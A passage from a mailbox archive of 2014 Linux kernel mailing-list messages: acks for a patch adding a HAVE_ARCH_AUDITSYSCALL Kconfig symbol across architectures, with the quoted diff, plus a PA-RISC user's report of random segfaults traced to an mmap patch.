cnBvc2Ugb2YgdGhpcyBwYXRjaCBpcyB0byByZXBsYWNlIGl0IHdpdGggSEFWRV9BUkNIX0FVRElU
U1lTQ0FMTAo+IGZvciBzaW1wbGljaXR5LgoKTG9va3Mgc2Vuc2libGUgdG8gbWU6CgogIEFja2Vk
LWJ5OiBXaWxsIERlYWNvbiA8d2lsbC5kZWFjb25AYXJtLmNvbT4KCldpbGwKX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18KTGludXhwcGMtZGV2IG1haWxpbmcg
bGlzdApMaW51eHBwYy1kZXZAbGlzdHMub3psYWJzLm9yZwpodHRwczovL2xpc3RzLm96bGFicy5v
cmcvbGlzdGluZm8vbGludXhwcGMtZGV2


From - Thu Nov 08 21:10:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Guy Briggs <rgb@redhat.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.uml.devel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.redhat.security.audit,gmane.linux.uml.user,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 1/1] audit: Add CONFIG_HAVE_ARCH_AUDITSYSCALL
Date: Tue, 25 Feb 2014 10:25:35 -0500
Lines: 174
Approved: news@gmane.org
Message-ID: <20140225152535.GG16640@madcap2.tricolour.ca>
References: <1391407232-4623-1-git-send-email-takahiro.akashi@linaro.org>
 <1393319784-2758-1-git-send-email-takahiro.akashi@linaro.org>
 <1393319784-2758-2-git-send-email-takahiro.akashi@linaro.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1393341981 14129 80.91.229.3 (25 Feb 2014 15:26:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Feb 2014 15:26:21 +0000 (UTC)
Cc: linux-s390@vger.kernel.org, linaro-kernel@lists.linaro.org,
 linux-ia64@vger.kernel.org, user-mode-linux-devel@lists.sourceforge.net,
 linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
 catalin.marinas@arm.com, x86@kernel.org, will.deacon@arm.com,
 linux-kernel@vger.kernel.org, eparis@redhat.com, linux-audit@redhat.com,
 user-mode-linux-user@lists.sourceforge.net, linux-alpha@vger.kernel.org,
 sparclinux@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 linux-arm-kernel@lists.infradead.org
To: AKASHI Takahiro <takahiro.akashi@linaro.org>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Tue Feb 25 16:26:26 2014
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from casper.infradead.org ([85.118.1.10])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1WIJtl-000756-9W
	for linux-arm-kernel@m.gmane.org; Tue, 25 Feb 2014 16:26:21 +0100
Original-Received: from merlin.infradead.org ([2001:4978:20e::2])
	by casper.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
	id 1WIJtg-0003qf-Db; Tue, 25 Feb 2014 15:26:16 +0000
Original-Received: from localhost ([::1] helo=merlin.infradead.org)
	by merlin.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1WIJte-0005ix-4q; Tue, 25 Feb 2014 15:26:14 +0000
Original-Received: from mx1.redhat.com ([209.132.183.28])
 by merlin.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
 id 1WIJta-0005iI-KI
 for linux-arm-kernel@lists.infradead.org; Tue, 25 Feb 2014 15:26:11 +0000
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com
 (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
 by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PFPeET009200
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
 Tue, 25 Feb 2014 10:25:40 -0500
Original-Received: from madcap2.tricolour.ca (vpn-51-54.rdu2.redhat.com [10.10.51.54])
 by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with
 ESMTP id s1PFPZBi026099
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO);
 Tue, 25 Feb 2014 10:25:37 -0500
Content-Disposition: inline
In-Reply-To: <1393319784-2758-2-git-send-email-takahiro.akashi@linaro.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20140225_102610_990605_616D12BC 
X-CRM114-Status: GOOD (  18.50  )
X-Spam-Score: -3.8 (---)
X-Spam-Report: SpamAssassin version 3.3.2 on merlin.infradead.org summary:
 Content analysis details:   (-3.8 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -5.0 RCVD_IN_DNSWL_HI       RBL: Sender listed at http://www.dnswl.org/, high
 trust [209.132.183.28 listed in list.dnswl.org]
 3.1 KHOP_BIG_TO_CC         Sent to 10+ recipients instaed of Bcc or a list
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 RP_MATCHES_RCVD Envelope sender domain matches handover relay domain
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:304608 gmane.linux.ports.ia64:23638 gmane.linux.uml.devel:14363 gmane.linux.ports.parisc:5704 gmane.linux.ports.sh.devel:32725 gmane.linux.kernel:1655358 gmane.linux.redhat.security.audit:5961 gmane.linux.uml.user:14638 gmane.linux.ports.alpha:2239 gmane.linux.ports.sparc:18707 gmane.linux.ports.ppc64.devel:99795
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/304608>

On 14/02/25, AKASHI Takahiro wrote:
> Currently AUDITSYSCALL has a long list of architecture depencency:
>        depends on AUDIT && (X86 || PARISC || PPC || S390 || IA64 || UML ||
> 		SPARC64 || SUPERH || (ARM && AEABI && !OABI_COMPAT) || ALPHA)
> The purpose of this patch is to replace it with HAVE_ARCH_AUDITSYSCALL
> for simplicity.
> 
> Signed-off-by: AKASHI Takahiro <takahiro.akashi@linaro.org>

Acked-by: Richard Guy Briggs <rgb@redhat.com>

> ---
>  arch/alpha/Kconfig     |    1 +
>  arch/arm/Kconfig       |    1 +
>  arch/ia64/Kconfig      |    1 +
>  arch/parisc/Kconfig    |    1 +
>  arch/powerpc/Kconfig   |    1 +
>  arch/s390/Kconfig      |    1 +
>  arch/sh/Kconfig        |    1 +
>  arch/sparc/Kconfig     |    1 +
>  arch/um/Kconfig.common |    1 +
>  arch/x86/Kconfig       |    1 +
>  init/Kconfig           |    5 ++++-
>  11 files changed, 14 insertions(+), 1 deletion(-)
> 
> diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
> index f6c6b34..b7ff9a3 100644
> --- a/arch/alpha/Kconfig
> +++ b/arch/alpha/Kconfig
> @@ -22,6 +22,7 @@ config ALPHA
>  	select GENERIC_SMP_IDLE_THREAD
>  	select GENERIC_STRNCPY_FROM_USER
>  	select GENERIC_STRNLEN_USER
> +	select HAVE_ARCH_AUDITSYSCALL
>  	select HAVE_MOD_ARCH_SPECIFIC
>  	select MODULES_USE_ELF_RELA
>  	select ODD_RT_SIGACTION
> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> index e254198..ca79340 100644
> --- a/arch/arm/Kconfig
> +++ b/arch/arm/Kconfig
> @@ -24,6 +24,7 @@ config ARM
>  	select GENERIC_STRNCPY_FROM_USER
>  	select GENERIC_STRNLEN_USER
>  	select HARDIRQS_SW_RESEND
> +	select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
>  	select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL
>  	select HAVE_ARCH_KGDB
>  	select HAVE_ARCH_SECCOMP_FILTER if (AEABI && !OABI_COMPAT)
> diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
> index 0c8e553..5409bf4 100644
> --- a/arch/ia64/Kconfig
> +++ b/arch/ia64/Kconfig
> @@ -44,6 +44,7 @@ config IA64
>  	select HAVE_MOD_ARCH_SPECIFIC
>  	select MODULES_USE_ELF_RELA
>  	select ARCH_USE_CMPXCHG_LOCKREF
> +	select HAVE_ARCH_AUDITSYSCALL
>  	default y
>  	help
>  	  The Itanium Processor Family is Intel's 64-bit successor to
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index bb2a8ec..1faefed 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -28,6 +28,7 @@ config PARISC
>  	select CLONE_BACKWARDS
>  	select TTY # Needed for pdc_cons.c
>  	select HAVE_DEBUG_STACKOVERFLOW
> +	select HAVE_ARCH_AUDITSYSCALL
>  
>  	help
>  	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
> diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
> index 957bf34..7b3b8fe 100644
> --- a/arch/powerpc/Kconfig
> +++ b/arch/powerpc/Kconfig
> @@ -141,6 +141,7 @@ config PPC
>  	select HAVE_DEBUG_STACKOVERFLOW
>  	select HAVE_IRQ_EXIT_ON_IRQ_STACK
>  	select ARCH_USE_CMPXCHG_LOCKREF if PPC64
> +	select HAVE_ARCH_AUDITSYSCALL
>  
>  config GENERIC_CSUM
>  	def_bool CPU_LITTLE_ENDIAN
> diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
> index 65a0775..1b58568 100644
> --- a/arch/s390/Kconfig
> +++ b/arch/s390/Kconfig
> @@ -103,6 +103,7 @@ config S390
>  	select GENERIC_SMP_IDLE_THREAD
>  	select GENERIC_TIME_VSYSCALL
>  	select HAVE_ALIGNED_STRUCT_PAGE if SLUB
> +	select HAVE_ARCH_AUDITSYSCALL
>  	select HAVE_ARCH_JUMP_LABEL if !MARCH_G5
>  	select HAVE_ARCH_SECCOMP_FILTER
>  	select HAVE_ARCH_TRACEHOOK
> diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
> index 6357710..4addd87 100644
> --- a/arch/sh/Kconfig
> +++ b/arch/sh/Kconfig
> @@ -42,6 +42,7 @@ config SUPERH
>  	select MODULES_USE_ELF_RELA
>  	select OLD_SIGSUSPEND
>  	select OLD_SIGACTION
> +	select HAVE_ARCH_AUDITSYSCALL
>  	help
>  	  The SuperH is a RISC processor targeted for use in embedded systems
>  	  and consumer electronics; it was also used in the Sega Dreamcast
> diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
> index c51efdc..9c74d6b 100644
> --- a/arch/sparc/Kconfig
> +++ b/arch/sparc/Kconfig
> @@ -77,6 +77,7 @@ config SPARC64
>  	select ARCH_HAVE_NMI_SAFE_CMPXCHG
>  	select HAVE_C_RECORDMCOUNT
>  	select NO_BOOTMEM
> +	select HAVE_ARCH_AUDITSYSCALL
>  
>  config ARCH_DEFCONFIG
>  	string
> diff --git a/arch/um/Kconfig.common b/arch/um/Kconfig.common
> index 21ca44c..6915d28 100644
> --- a/arch/um/Kconfig.common
> +++ b/arch/um/Kconfig.common
> @@ -1,6 +1,7 @@
>  config UML
>  	bool
>  	default y
> +	select HAVE_ARCH_AUDITSYSCALL
>  	select HAVE_UID16
>  	select GENERIC_IRQ_SHOW
>  	select GENERIC_CPU_DEVICES
> diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
> index 0af5250..2938365 100644
> --- a/arch/x86/Kconfig
> +++ b/arch/x86/Kconfig
> @@ -127,6 +127,7 @@ config X86
>  	select HAVE_DEBUG_STACKOVERFLOW
>  	select HAVE_IRQ_EXIT_ON_IRQ_STACK if X86_64
>  	select HAVE_CC_STACKPROTECTOR
> +	select HAVE_ARCH_AUDITSYSCALL
>  
>  config INSTRUCTION_DECODER
>  	def_bool y
> diff --git a/init/Kconfig b/init/Kconfig
> index 009a797..d4ec53d 100644
> --- a/init/Kconfig
> +++ b/init/Kconfig
> @@ -282,9 +282,12 @@ config AUDIT
>  	  logging of avc messages output).  Does not do system-call
>  	  auditing without CONFIG_AUDITSYSCALL.
>  
> +config HAVE_ARCH_AUDITSYSCALL
> +	bool
> +
>  config AUDITSYSCALL
>  	bool "Enable system-call auditing support"
> -	depends on AUDIT && (X86 || PARISC || PPC || S390 || IA64 || UML || SPARC64 || SUPERH || (ARM && AEABI && !OABI_COMPAT) || ALPHA)
> +	depends on AUDIT && HAVE_ARCH_AUDITSYSCALL
>  	default y if SECURITY_SELINUX
>  	help
>  	  Enable low-overhead system-call auditing infrastructure that
> -- 
> 1.7.9.5
> 

- RGB

--
Richard Guy Briggs <rbriggs@redhat.com>
Senior Software Engineer, Kernel Security, AMER ENG Base Operating Systems, Red Hat
Remote, Ottawa, Canada
Voice: +1.647.777.2635, Internal: (81) 32635, Alt: +1.613.693.0684x3545

From - Thu Nov 08 21:10:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 3.12.8 is doing nasty things
Date: Tue, 25 Feb 2014 18:13:32 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <5116135.sX67MB4Kjr@caliban.sf-tec.de>
References: <2696873.HIAXvrDslF@caliban.sf-tec.de> <8596393.NVJnYl104a@caliban.sf-tec.de> <1712740.zFjPFKGkFe@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2241652.EHvWQpRoAy"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1393348422 991 80.91.229.3 (25 Feb 2014 17:13:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Feb 2014 17:13:42 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 25 18:13:51 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WILZj-0008SR-VZ
	for glpp-linux-parisc@plane.gmane.org; Tue, 25 Feb 2014 18:13:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752826AbaBYRNr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Feb 2014 12:13:47 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:53570 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752653AbaBYRNr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Feb 2014 12:13:47 -0500
Original-Received: (qmail 29028 invoked from network); 25 Feb 2014 17:13:02 -0000
Original-Received: from dslc-082-083-173-248.pools.arcor-ip.net ([::ffff:82.83.173.248]:47581 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.26svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Tue, 25 Feb 2014 18:13:02 +0100
User-Agent: KMail/4.12.2 (Linux/3.13.3-1.g7ccf96b-desktop; KDE/4.12.2; x86_64; ; )
In-Reply-To: <1712740.zFjPFKGkFe@caliban.sf-tec.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5705
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5705>


--nextPart2241652.EHvWQpRoAy
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Samstag, 15. Februar 2014, 08:47:06 schrieb Rolf Eike Beer:
> Am Donnerstag, 13. Februar 2014, 07:37:55 schrieb Rolf Eike Beer:
> > Am Dienstag, 11. Februar 2014, 16:30:08 schrieb Rolf Eike Beer:
> > > > Next week I'll try 3.13, but since it has the same changes I expect
> > > > the
> > > > same results.
> > > 
> > > I'm now on 3.13.2 and things are similar. While I did an initial test
> > > with
> > > 100 invocations of ssh which went flawlessly I now see random process
> > > errors again. Examples can be found here:
> > > http://my.cdash.org/index.php?project=Qsmtp&date=2014-02-11
> > > 
> > > Normally the reports should have arrived much earlier, but for an
> > > unknown
> > > reason the resolv.conf (generated by DHCP) was empty, I assume that the
> > > DHCP process has failed during while renewing the IP address. The
> > > segfaults during the build have not happened with the older kernel.
> > 
> > I can now confirm that the cache coherency fixes are _not_ the reason for
> > those failures I see. I have rebuild 3.13.2 without them and still see
> > random segfaults in my dashboards. I'll try the mmap() patch next.
> 
> After 2,5 days with 3.13.2 and 0576da2c08e3d332f1b0653030d28ab804585ab6 I
> have not yet seen a single random segfault.

A short update on this: I am still running on that kernel and have not seen a 
single random process crash since then. I'm willing to help in debugging this 
if anyone tells me how, but I will now just revert that patch from every new 
kernel to get a stable machine.

Greetings,

Eike
--nextPart2241652.EHvWQpRoAy
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEABECAAYFAlMMz0EACgkQXKSJPmm5/E7sjACeNx2yv9AZO5C1ty/dikREJTHd
goMAmwWueGe09X42zOQGTIDXLzJ6luWq
=89fo
-----END PGP SIGNATURE-----

--nextPart2241652.EHvWQpRoAy--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.redhat.security.audit,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: Re: [PATCH v2 1/1] audit: Add CONFIG_HAVE_ARCH_AUDITSYSCALL
Date: Tue, 25 Feb 2014 09:40:15 -0800
Lines: 44
Approved: news@gmane.org
Message-ID: <CAEdQ38Hf=vEXEKhYaduR8HAcXyChQ-Wo7rHPGs20DirVwkDAxw@mail.gmail.com>
References: <1391407232-4623-1-git-send-email-takahiro.akashi@linaro.org>
 <1393319784-2758-1-git-send-email-takahiro.akashi@linaro.org> <1393319784-2758-2-git-send-email-takahiro.akashi@linaro.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1393350037 21923 80.91.229.3 (25 Feb 2014 17:40:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Feb 2014 17:40:37 +0000 (UTC)
Cc: Al Viro <viro@zeniv.linux.org.uk>, eparis@redhat.com,
	rgb@redhat.com, arndb@arndb.de, catalin.marinas@arm.com,
	Will Deacon <will.deacon@arm.com>, dsaxena@linaro.org,
	linux-arm-kernel@lists.infradead.org,
	linaro-kernel@lists.linaro.org,
	LKML <linux-kernel@vger.kernel.org>, linux-audit@redhat.com,
	x86@kernel.org, linux-alpha <linux-alpha@vger.kernel.org>,
	linux-ia64@vger.kernel.org,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	user-mode-linux-user@lists.sourceforge.net
To: AKASHI Takahiro <takahiro.akashi@linaro.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Feb 25 18:40:43 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1WILzk-0001wl-8M
	for lnx-linux-alpha@plane.gmane.org; Tue, 25 Feb 2014 18:40:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753241AbaBYRki (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Tue, 25 Feb 2014 12:40:38 -0500
Original-Received: from mail-qc0-f170.google.com ([209.85.216.170]:44263 "EHLO
	mail-qc0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753238AbaBYRkh (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Tue, 25 Feb 2014 12:40:37 -0500
Original-Received: by mail-qc0-f170.google.com with SMTP id c9so10955616qcz.15
        for <multiple recipients>; Tue, 25 Feb 2014 09:40:35 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=qYSurm+ea8IGk2Leh9UB00TDg5twF52t5E8B7Y2Zaxo=;
        b=NR5Zc+tlCX1Oon1tD+cuSiS0s/VVXTJsi97MWWKLLlUYnP5x9RCNWu/AQVMvcP0QHK
         d1wPmBubr/KCD6vYDUggVVorU+uApoU7Lpa8E5SI+3Ad0gfqJO/hS+f59EeOFZZm0gfP
         PBCgEbSDTinJlMhp9GKGsVJaWt3TPkFrAHkl5cxKEtKMDS2NSRw0Nx3mvPDW67EcVpSR
         IandHjqIHkVE3VvbjQ36kxYrN/TFJCrcyMHXrP2ZUMIZ+JTBgBlsYzCxHcYIQJFUIz8m
         1yPXNiCc6ZvP9rwjDavquwtJMrF1b8RjxPv/BMZyl6FgHJ27VwqIP8Aqx9QvDZLkv8NC
         i7UA==
X-Received: by 10.140.100.135 with SMTP id s7mr1508861qge.114.1393350035904;
 Tue, 25 Feb 2014 09:40:35 -0800 (PST)
Original-Received: by 10.229.8.198 with HTTP; Tue, 25 Feb 2014 09:40:15 -0800 (PST)
In-Reply-To: <1393319784-2758-2-git-send-email-takahiro.akashi@linaro.org>
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2240 gmane.linux.ports.arm.kernel:304651 gmane.linux.kernel:1655410 gmane.linux.redhat.security.audit:5962 gmane.linux.ports.ia64:23639 gmane.linux.ports.parisc:5706 gmane.linux.ports.ppc64.devel:99797 gmane.linux.ports.sh.devel:32733 gmane.linux.ports.sparc:18708 gmane.linux.uml.devel:14364 gmane.linux.uml.user:14639
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2240>

On Tue, Feb 25, 2014 at 1:16 AM, AKASHI Takahiro
<takahiro.akashi@linaro.org> wrote:
> Currently AUDITSYSCALL has a long list of architecture depencency:
>        depends on AUDIT && (X86 || PARISC || PPC || S390 || IA64 || UML ||
>                 SPARC64 || SUPERH || (ARM && AEABI && !OABI_COMPAT) || ALPHA)
> The purpose of this patch is to replace it with HAVE_ARCH_AUDITSYSCALL
> for simplicity.
>
> Signed-off-by: AKASHI Takahiro <takahiro.akashi@linaro.org>
> ---
>  arch/alpha/Kconfig     |    1 +
>  arch/arm/Kconfig       |    1 +
>  arch/ia64/Kconfig      |    1 +
>  arch/parisc/Kconfig    |    1 +
>  arch/powerpc/Kconfig   |    1 +
>  arch/s390/Kconfig      |    1 +
>  arch/sh/Kconfig        |    1 +
>  arch/sparc/Kconfig     |    1 +
>  arch/um/Kconfig.common |    1 +
>  arch/x86/Kconfig       |    1 +
>  init/Kconfig           |    5 ++++-
>  11 files changed, 14 insertions(+), 1 deletion(-)
>
> diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
> index f6c6b34..b7ff9a3 100644
> --- a/arch/alpha/Kconfig
> +++ b/arch/alpha/Kconfig
> @@ -22,6 +22,7 @@ config ALPHA
>         select GENERIC_SMP_IDLE_THREAD
>         select GENERIC_STRNCPY_FROM_USER
>         select GENERIC_STRNLEN_USER
> +       select HAVE_ARCH_AUDITSYSCALL
>         select HAVE_MOD_ARCH_SPECIFIC
>         select MODULES_USE_ELF_RELA
>         select ODD_RT_SIGACTION

Thanks.

Acked-by: Matt Turner <mattst88@gmail.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.uml.devel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.uml.user,gmane.linux.redhat.security.audit,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH v2 1/1] audit: Add CONFIG_HAVE_ARCH_AUDITSYSCALL
Date: Wed, 26 Feb 2014 23:31:36 +1100
Lines: 34
Approved: news@gmane.org
Message-ID: <1393417896.17341.2.camel@concordia>
References: <1391407232-4623-1-git-send-email-takahiro.akashi@linaro.org>
	 <1393319784-2758-1-git-send-email-takahiro.akashi@linaro.org>
	 <1393319784-2758-2-git-send-email-takahiro.akashi@linaro.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1393417897 12887 80.91.229.3 (26 Feb 2014 12:31:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Feb 2014 12:31:37 +0000 (UTC)
Cc: viro@zeniv.linux.org.uk, eparis@redhat.com, rgb@redhat.com,
	arndb@arndb.de, linux-s390@vger.kernel.org,
	linaro-kernel@lists.linaro.org, linux-ia64@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	catalin.marinas@arm.com, x86@kernel.org, will.deacon@arm.com,
	linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	dsaxena@linaro.org, user-mode-linux-user@lists.sourceforge.net,
	linux-audit@redhat.com, sparclinux@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org
To: AKASHI Takahiro <takahiro.akashi@linaro.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Feb 26 13:31:43 2014
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1WIdeI-0004mo-66
	for glpi-linux-ia64-2@plane.gmane.org; Wed, 26 Feb 2014 13:31:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751356AbaBZMbj (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 26 Feb 2014 07:31:39 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:47361 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751100AbaBZMbi (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Wed, 26 Feb 2014 07:31:38 -0500
Original-Received: from [192.168.1.2] (203-217-50-5.dyn.iinet.net.au [203.217.50.5])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
